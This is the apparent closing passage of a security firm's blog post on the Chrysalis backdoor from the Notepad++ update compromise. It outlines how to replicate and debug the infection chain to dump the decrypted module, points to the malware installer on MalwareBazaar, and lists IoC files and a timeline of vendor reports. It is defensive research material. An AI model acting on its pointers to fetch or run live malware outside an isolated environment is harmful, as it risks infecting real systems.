As mentioned in the Rapid7 analysis, the Chrysalis backdoor doesn't seem like a throwaway tool. It would be worth a research to replicate the attack sequence in a virtual environment, debug log.dll until BluetoothService shellcode is loaded, decrypted, jumped on and the main Chrysalis module is decrypted. At this stage, the decrypted module could be dumped from memory. A similarity search might produce additional variants from Kaibou, who knows. Hit me up if you are interested: csongor.tamas@ukatemi.com

The NSIS installer containing everything can be downloaded from MalwareBazaar

If you are interested in getting access to Kaibou Search Services and the 800+ million files within, reach out at kss@ukatemi.com.

IoCs

hostinger-files.csv
hostinger-ips.txt
kaspersky-files.csv
kaspersky-urls.txt
rapid7-files.csv
rapid7-urls.txt
ukatemi-files.csv
ukatemi-urls.txt

2025-10-23: Notepad++ forum post about suspicious update activity
2025-11-30: wingup commit to add signature verification
2025-12-01: Notepad++ commit to add signature verification
2025-12-09: Notepad++ announcement about vulnerability fix
2025-12-09: Notepad++ v8.8.9 update includes vulnerability fix
2026-02-02: Notepad++ post announcing the incident
2026-02-05: IoCs from Hostinger
2026-02-02: Rapid7 blog about malicious toolkit used during the attack
2026-02-03: Kaspersky reports what they uncovered from their telemetry
2026-02-03: Validin about the C2 infrastructure
2026-02-03: Hostinger report about the incident
2026-02-04: Blog by Costin Raiu

Want to message us? Contact us: blog@ukatemi.com